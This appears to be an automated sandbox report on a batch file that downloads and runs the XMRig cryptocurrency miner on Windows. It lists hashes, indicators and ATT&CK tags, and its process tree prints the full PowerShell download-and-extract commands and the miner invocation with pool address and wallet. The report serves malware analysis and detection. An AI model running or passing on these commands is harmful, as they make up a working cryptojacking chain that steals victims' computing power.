xmrig | c0768ace239b9f133dfbb33d830ff9bf0580b167e2a6b0f015950f7aa2b1f768

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Analysis

max time kernel
316s
max time network
1799s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
20/05/2024, 17:09

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General

Target

14.bat
Size

599B
MD5

798b979417aa88e5323ead9be2d8425c
SHA1

a54c5133c71afddf697f302b36bdb930c72852ce
SHA256

f83d724987f9f4a0843c0b0abd01f3f5ceccbc8e7babad76c2639e1bef2fee07
SHA512

a4f2ff598bc26b5ee7778b34b34aafd20e43f714c5f841b9fe73cdc6e1c3e47e44ffb94ff06ccd7dd263116201ff6754c956c1ea8f588acf6927f35446b5036b

Score

10^/10

xmrig execution miner

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip

Signatures

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral6/files/0x000700000001ac59-117.dat	family_xmrig
behavioral6/files/0x000700000001ac59-117.dat	xmrig

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	4508	powershell.exe
4	4508	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
3580	xmrig.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4508	powershell.exe
4888	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4508	powershell.exe
4508	powershell.exe
4508	powershell.exe
4888	powershell.exe
4888	powershell.exe
4888	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	4508	powershell.exe
Token: SeDebugPrivilege	4888	powershell.exe
Token: SeLockMemoryPrivilege	3580	xmrig.exe
Token: SeLockMemoryPrivilege	3580	xmrig.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3580	xmrig.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2924 wrote to memory of 4508	2924	cmd.exe	74
PID 2924 wrote to memory of 4508	2924	cmd.exe	74
PID 2924 wrote to memory of 4888	2924	cmd.exe	75
PID 2924 wrote to memory of 4888	2924	cmd.exe	75
PID 2924 wrote to memory of 3580	2924	cmd.exe	76
PID 2924 wrote to memory of 3580	2924	cmd.exe	76

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\14.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2924
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip', 'xmrig-6.21.3-msvc-win64.zip')"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4508
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'xmrig-6.21.3-msvc-win64.zip' -DestinationPath '.'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4888
- C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe
  xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:3580

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
56efdb5a0f10b5eece165de4f8c9d799

SHA1
fa5de7ca343b018c3bfeab692545eb544c244e16

SHA256
6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

SHA512
91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
beb7438fab10474b0855acebb35d28c3

SHA1
86d20359a37a31a99d60a79b91f8ede3e192f17b

SHA256
aeae01f95e51e996e39aab4065f57e4ee9cbfb13cca5bb06eccc3c1f5c3aecab

SHA512
f755f8a881d8533b8299569568255cca68415b08dbe5684882a0d870cb8e298deb0dac3bd6d2fa3c100233d828eb0b630d84b8eae84ae2d21fa8523e1eb8485d

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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_odobvowg.hll.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3-msvc-win64.zip

Filesize
2.5MB

MD5
cef0ae1ab544e40b659261a4e07fe48f

SHA1
e5ff855ce3c7726a50eb50a634ff9f406b3df093

SHA256
713263085499ae626a6148fab67932c9a69611b21ac3d04cf52a5e23495f902e

SHA512
1fb23b385e6cff3653f0b4b397d092c7be4df62899c97e18f675df2024e5f06ef2596fb626b85ae2ef7d7583c5bf54b00dba1a5ad566c2707a669a48d9814ba8

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C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe

Filesize
6.1MB

MD5
c0f8959614ae06561216158d78a787e5

SHA1
73167d1fd0cee1c96a6505606d21cbfe4369eb00

SHA256
e199d88569fb54346d5fa20ee7b59b2ea6f16f4ecca3ea1e1c937b11aab7b2b0

SHA512
a24fcf344d08c64ac301d5e4979f062b5e28e8e4acf1d2790916149ffe7726b0c4a11e0775aeba6b841d2d5081e1bd13e2b80390bf9bfbc44d67e54ec07cd746

Download Submit
memory/3580-119-0x00000175535E0000-0x0000017553600000-memory.dmp

Filesize
128KB

Download
memory/4508-9-0x000002027EE70000-0x000002027EEE6000-memory.dmp

Filesize
472KB

Download
memory/4508-31-0x00007FFD77FE0000-0x00007FFD789CC000-memory.dmp

Filesize
9.9MB

Download
memory/4508-26-0x00007FFD77FE0000-0x00007FFD789CC000-memory.dmp

Filesize
9.9MB

Download
memory/4508-18-0x00007FFD77FE0000-0x00007FFD789CC000-memory.dmp

Filesize
9.9MB

Download
memory/4508-3-0x00007FFD77FE3000-0x00007FFD77FE4000-memory.dmp

Filesize
4KB

Download
memory/4508-7-0x00007FFD77FE0000-0x00007FFD789CC000-memory.dmp

Filesize
9.9MB

Download
memory/4508-5-0x000002027EB80000-0x000002027EBA2000-memory.dmp

Filesize
136KB

Download
memory/4888-38-0x00007FFD77FE0000-0x00007FFD789CC000-memory.dmp

Filesize
9.9MB

Download
memory/4888-78-0x000001DEEC6F0000-0x000001DEEC702000-memory.dmp

Filesize
72KB

Download
memory/4888-91-0x000001DEEC550000-0x000001DEEC55A000-memory.dmp

Filesize
40KB

Download
memory/4888-65-0x00007FFD77FE0000-0x00007FFD789CC000-memory.dmp

Filesize
9.9MB

Download
memory/4888-115-0x00007FFD77FE0000-0x00007FFD789CC000-memory.dmp

Filesize
9.9MB

Download
memory/4888-40-0x00007FFD77FE0000-0x00007FFD789CC000-memory.dmp

Filesize
9.9MB

Download
memory/4888-37-0x00007FFD77FE0000-0x00007FFD789CC000-memory.dmp

Filesize
9.9MB

Download